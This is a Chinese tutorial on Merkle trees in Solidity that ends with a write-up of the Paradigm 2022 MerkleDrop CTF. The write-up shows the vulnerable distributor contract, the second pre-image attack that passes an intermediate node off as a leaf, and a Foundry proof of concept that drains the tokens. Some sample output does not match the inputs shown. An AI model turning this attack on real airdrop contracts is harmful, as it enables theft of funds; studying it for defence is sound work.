关于Merkle Tree

什么是Merkle Tree

Merkle Tree也被称为Hash Tree，是一个存储hash值的树。Merkle Tree的叶子是数据块（比如地址，文件）的hash值。非叶节点是对应子节点串联字符串的hash。

Merkle Tree 提供了一种在Solidity中验证数据的有效方法，这样的话就大部分降低了验证大型数据集时，链上存储的Gas成本, 因为只将RootHash存储在了链上。

特点

• MT是一种树，大多时候是二叉树
• 叶子节点的值是数据hash值
• 非叶节点的值是根据他下面左右的叶子节点的值，然后hash算出来的

如何工作

Merkle Tree的基本思想是将大量数据划分为更小的数据块，然后递归的对这些块进行Hash，然后直到变成一个根Hash(root Hash)，根Hash可以被看作是一种Summary。

因为他是一层一层的，递归的，所以数据中一旦有任何的更改，都会导致不同的Hash，所以如果我们添加了数据，那我们就需要执行一笔操作来更新Root Hash。

当我们想要验证某个数据是否完整并且正确的时候，我们只需要提供该数据的Hash和从该数据到root的hash路径，这样我们就能验证数据，但是不是访问整个Tree.

在OpenZeppelin标准库中，对于相邻节点的计算是有相邻两个节点的大小决定的:

function _hashPair(bytes32 a, bytes32 b) private pure returns (bytes32) {  
    return a < b ? _efficientHash(a, b) : _efficientHash(b, a);  
}

通常较小的值会放在前面，用来计算哈希的顺序。

Merkle Tree的最小实现

首先我们用nodejs实现一个简单的hash计算:

const {MerkleTree} = require("merkletreejs"); 
const keccak256 = require("keccak256"); 

const whitelist = [
    '0x6090A6e47849629b7245Dfa1Ca21D94cd15878Ef',
    '0xBE0eB53F46cd790Cd13851d5EFf43D12404d33E8'
    ]; 

const leaves = whitelist.map(addr => keccak256(addr)); 
const merkleTree = new MerkleTree(leaves, keccak256, {sortPairs: true}); 
const rootHash = merkleTree.getRoot().toString('hex'); 

console.log(`Whitelist Merkle Root: 0x${rootHash}`); whitelist.forEach((address) => { 
    const proof = merkleTree.getHexProof(keccak256(address)); 
    console.log(`Adddress: ${address} Proof: ${proof}`); 
});

当我们运行这个nodejs代码的时候：

node GenerateHash.js

他将会输出Merkle的root。

Whitelist Merkle Root: 0x2700f724369840d2ffd1c91dc0e05a969408a480d5d7e2ad18b382365ffb203c
Adddress: 0x6090A6e47849629b7245Dfa1Ca21D94cd15878Ef Proof: 0x3b64273cc6c23d6d1cd9eaf41ac678eaecca86ab0b79a3797d1b301cba2c19dd,0x4726e4102af77216b09ccd94f40daa10531c87c4d60bba7f3b3faf5ff9f19b3c,0xf6d82c545c22b72034803633d3dda2b28e89fb704f3c111355ac43e10612aedc
Adddress: 0xBE0eB53F46cd790Cd13851d5EFf43D12404d33E8 Proof: 0x71fe2579f4a5be157546549260f5539cc9445fa20674a8bb637049f43fc1eac2,0x4726e4102af77216b09ccd94f40daa10531c87c4d60bba7f3b3faf5ff9f19b3c,0xf6d82c545c22b72034803633d3dda2b28e89fb704f3c111355ac43e10612aedc
Adddress: 0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db Proof: 0xdfbe3e504ac4e35541bebad4d0e7574668e16fefa26cd4172f93e18b59ce9486,0xea93c74c63808af9d3919c676a03392e13eb1232d0d40251202c56cff4842d33,0xf6d82c545c22b72034803633d3dda2b28e89fb704f3c111355ac43e10612aedc
Adddress: 0x78731D3Ca6b7E34aC0F824c42a7cC18A495cabaB Proof: 0x04a10bfd00977f54cc3450c9b25c9b3a502a089eba0097ba35fc33c4ea5fcb54,0xea93c74c63808af9d3919c676a03392e13eb1232d0d40251202c56cff4842d33,0xf6d82c545c22b72034803633d3dda2b28e89fb704f3c111355ac43e10612aedc
Adddress: 0x617F2E2fD72FD9D5503197092aC168c91465E7f2 Proof: 0x47d0f2fd8ba6b95b7362e21c175a38eb6db2746ebff11789d0eaad57ea451d2e

这个时候我们可以用来自OZ的MerkleProof.sol来验证地址。

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/cryptography/MerkleProof.sol";

contract NFTMint {
  bytes32 public merkleRoot;

  constructor(bytes32 _merkleRoot) {
    merkleRoot = _merkleRoot;
  }

  function claim(bytes32[] memory proof, address account) public {
    bytes32 leaf = keccak256(abi.encodePacked(account));
    require(MerkleProof.verify(proof, merkleRoot, leaf), "Invalid proof");

    // User is in the whitelist, allow them to claim the NFT

  }
}

简单写一个Foundry的测试:

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../../src/MerkleTree/MerkleTree.sol";

contract MerkleTreeTest is Test {
    MerkleTree merkleTree;

    function setUp() public {
        merkleTree = new MerkleTree(0x2700f724369840d2ffd1c91dc0e05a969408a480d5d7e2ad18b382365ffb203c);
    }

    function testClaim() public view {
        bytes32[] memory proof = new bytes32[](3);
        proof[0] = 0x3b64273cc6c23d6d1cd9eaf41ac678eaecca86ab0b79a3797d1b301cba2c19dd;
        proof[1] = 0x4726e4102af77216b09ccd94f40daa10531c87c4d60bba7f3b3faf5ff9f19b3c;
        proof[2] = 0xf6d82c545c22b72034803633d3dda2b28e89fb704f3c111355ac43e10612aedc;
        bool success = merkleTree.claim(proof, address(0x6090A6e47849629b7245Dfa1Ca21D94cd15878Ef));
        assertTrue(success);
    }
}

应用

• 大部分用在空投白名单中
• 也可以用在数字签名中
• 在P2P网络中也被大量运用
• IPFS
• ....

优点

1. 大型数据集的高效验证对于数据通常太大而无法存储在链上的区块链应用程序特别有用
2. 由于链上存储的数据更少，因此降低了 gas 成本
3. 提高安全性 Merkle 树提供了一种验证数据完整性的可靠方法

Vul in MerkleTree

Second Pre-image attack

一般Merkle的验证流程是什么，是用户提供叶子以及从叶子到roothash的proof，但是如果我们一开始不提供叶子，而不是把节点hash当作是叶子呢，也可以通过检测:

直接提供节点Node

如何防御呢:

1. 攻击者提供的叶子是需要进行hash的，所以叶子节点hash结束了之后是32，两个加起来是64位，所以攻击者如果想要伪造的话，必须提供64位的叶子，直接把64位禁止了
2. 使用不同的叶子结点hash
3. openzeppelin使用double hash来防范

第二种前映像攻击之所以有效，是因为我们可以提供有效证明的短版本并重新创建默克尔根。默克尔根确实有一个前像——然而，根是以增量方式创建的——而不是通过一次对整个证明进行哈希处理。通过在序列的稍后时间点开始证明，我们可以有一个生成相同根的替代输入。

我们从一道CTF题目中来更深一步的理解如何攻击:

Paradigm2022-MerkleDrop

题目源码：

// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.16;

import "./MerkleProof.sol";

interface ERC20Like {
    function transfer(address dst, uint256 qty) external returns (bool);
}

contract MerkleDistributor {
    event Claimed(uint256 index, address account, uint256 amount);

    address public immutable token;
    bytes32 public immutable merkleRoot;

    // This is a packed array of booleans.
    mapping(uint256 => uint256) private claimedBitMap;

    constructor(address token_, bytes32 merkleRoot_) {
        token = token_;
        merkleRoot = merkleRoot_;
    }

    function isClaimed(uint256 index) public view returns (bool) {
        uint256 claimedWordIndex = index / 256;
        uint256 claimedBitIndex = index % 256;
        uint256 claimedWord = claimedBitMap[claimedWordIndex];
        uint256 mask = (1 << claimedBitIndex);
        return claimedWord & mask == mask;
    }

    function _setClaimed(uint256 index) private {
        uint256 claimedWordIndex = index / 256;
        uint256 claimedBitIndex = index % 256;
        claimedBitMap[claimedWordIndex] = claimedBitMap[claimedWordIndex] | (1 << claimedBitIndex);
    }

    function claim(uint256 index, address account, uint96 amount, bytes32[] memory merkleProof) external {
        require(!isClaimed(index), "MerkleDistributor: Drop already claimed.");

        // Verify the merkle proof.
        bytes32 node = keccak256(abi.encodePacked(index, account, amount));
        require(MerkleProof.verify(merkleProof, merkleRoot, node), "MerkleDistributor: Invalid proof.");

        // Mark it claimed and send the token.
        _setClaimed(index);
        require(ERC20Like(token).transfer(account, amount), "MerkleDistributor: Transfer failed.");

        emit Claimed(index, account, amount);
    }
}

library MerkleProof {
    function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
        bytes32 computedHash = leaf;

        for (uint256 i = 0; i < proof.length; i++) {
            bytes32 proofElement = proof[i];

            if (computedHash < proofElement) {
                // Hash(current computed hash + current element of the proof)
                computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
            } else {
                // Hash(current element of the proof + current computed hash)
                computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
            }
        }

        // Check if the computed hash (root) is equal to the provided root
        return computedHash == root;
    }
}

题目同时给了64个节点，源码大概就是一个根据MerkleTree来发空投的，我们的目标是64个账户中至少有一个 没有认领Token，同时75000个Token要全部发送完毕。

function isSolved() public view returns (bool) {
        bool condition1 = token.balanceOf(address(merkleDistributor)) == 0;
        bool condition2 = false;
        for (uint256 i = 0; i < 64; ++i) {
            if (!merkleDistributor.isClaimed(i)) {
                condition2 = true;
                break;
            }
        }
        return condition1 && condition2;
    }

解题：
我们可以看到在claim函数中他的参数是uint256 index, address account, uint96 amount, bytes32[] memory merkleProof而在OZ中的是uint256 index, address account, uint256 amount, bytes32[] memory merkleProof这种差异让人不由自主的思考，问题是不是在这里。

仔细思考一下发现

uint256 + address + uint96 = 64 bytes

而在函数中node节点是:

bytes32 node = keccak256(abi.encodePacked(index, account, amount));

所以我觉得我们可以使用Second Preimage Attack，去缩短验证的过程，但是通过MerkleTree的验证。

那我们就要开始思考怎么拼接，我们发空投的金额不得超过75000 * 10e18个代币，换算成16进制就是fe1c215e8f838e00000，那么在拼接结果中，amount的部分要小于这个值，那么至少呀又5个连续的0。
所以我们在tree.json中寻找一下有没有这样的地址。
正好还真有:

"0x8a85e6D0d2d6b8cBCb27E724F14A97AeB7cC1f5e": {
            "index": 37,
            "amount": "0x5dacf28c4e17721edb",
            "proof": [
                "0xd48451c19959e2d9bd4e620fbe88aa5f6f7ea72a00000f40f0c122ae08d2207b",
                "0x8920c10a5317ecff2d0de2150d5d18f01cb53a377f4c29a9656785a22a680d1d",
                "0xc999b0a9763c737361256ccc81801b6f759e725e115e4a10aa07e63d27033fde",
                "0x842f0da95edb7b8dca299f71c33d4e4ecbb37c2301220f6e17eef76c5f386813",
                "0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c",
                "0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5"
            ]
        },

然后我们直接构造就完事了，因为是题目吗，所以应该还有一个账号能正好把所有的Token消耗干净的，寻找一下:

"0x249934e4C5b838F920883a9f3ceC255C0aB3f827": {
        "index": 8,
        "amount": "0xa0d154c64a300ddf85",
        "proof": [
            "0xe10102068cab128ad732ed1a8f53922f78f0acdca6aa82a072e02a77d343be00",
            "0xd779d1890bba630ee282997e511c09575fae6af79d88ae89a7a850a3eb2876b3",
            "0x46b46a28fab615ab202ace89e215576e28ed0ee55f5f6b5e36d7ce9b0d1feda2",
            "0xabde46c0e277501c050793f072f0759904f6b2b8e94023efb7fc9112f366374a",
            "0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c",
            "0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5"
        ]
    },

POC:

pragma solidity 0.8.16;

import "../../src/04.merkledrop/Setup.sol";
import "forge-std/Test.sol";

contract merkledrop is Test{

    Setup setup;
    MerkleDistributor merkleDistributor;

    function setUp() public {
        setup = new Setup(); 
        merkleDistributor = setup.merkleDistributor(); 
    }

    function test_isSolved() public {
        bytes32[] memory merkleProof1 = new bytes32[](5);
        merkleProof1[0] = bytes32(0x8920c10a5317ecff2d0de2150d5d18f01cb53a377f4c29a9656785a22a680d1d);
        merkleProof1[1] = bytes32(0xc999b0a9763c737361256ccc81801b6f759e725e115e4a10aa07e63d27033fde);
        merkleProof1[2] = bytes32(0x842f0da95edb7b8dca299f71c33d4e4ecbb37c2301220f6e17eef76c5f386813);
        merkleProof1[3] = bytes32(0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c);
        merkleProof1[4] = bytes32(0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5);
        merkleDistributor.claim(
                uint256(keccak256(abi.encodePacked(
                    uint256(37),
                    address(0x8a85e6D0d2d6b8cBCb27E724F14A97AeB7cC1f5e),
                    uint96(0x5dacf28c4e17721edb)
                ))),
                address(0xd48451c19959e2D9bD4E620fBE88aA5F6F7eA72A), 
                0x00000f40f0c122ae08d2207b, 
                merkleProof1
        );

        bytes32[] memory merkleProof2 = new bytes32[](6);
        merkleProof2[0] = bytes32(0xe10102068cab128ad732ed1a8f53922f78f0acdca6aa82a072e02a77d343be00);
        merkleProof2[1] = bytes32(0xd779d1890bba630ee282997e511c09575fae6af79d88ae89a7a850a3eb2876b3);
        merkleProof2[2] = bytes32(0x46b46a28fab615ab202ace89e215576e28ed0ee55f5f6b5e36d7ce9b0d1feda2);
        merkleProof2[3] = bytes32(0xabde46c0e277501c050793f072f0759904f6b2b8e94023efb7fc9112f366374a);
        merkleProof2[4] = bytes32(0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c);
        merkleProof2[5] = bytes32(0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5);
        merkleDistributor.claim(8, address(0x249934e4C5b838F920883a9f3ceC255C0aB3f827), 0xa0d154c64a300ddf85, merkleProof2);

        assertEq(setup.isSolved(),true); 
    }
}

Refer

https://www.cnblogs.com/fengzhiwu/p/5524324.html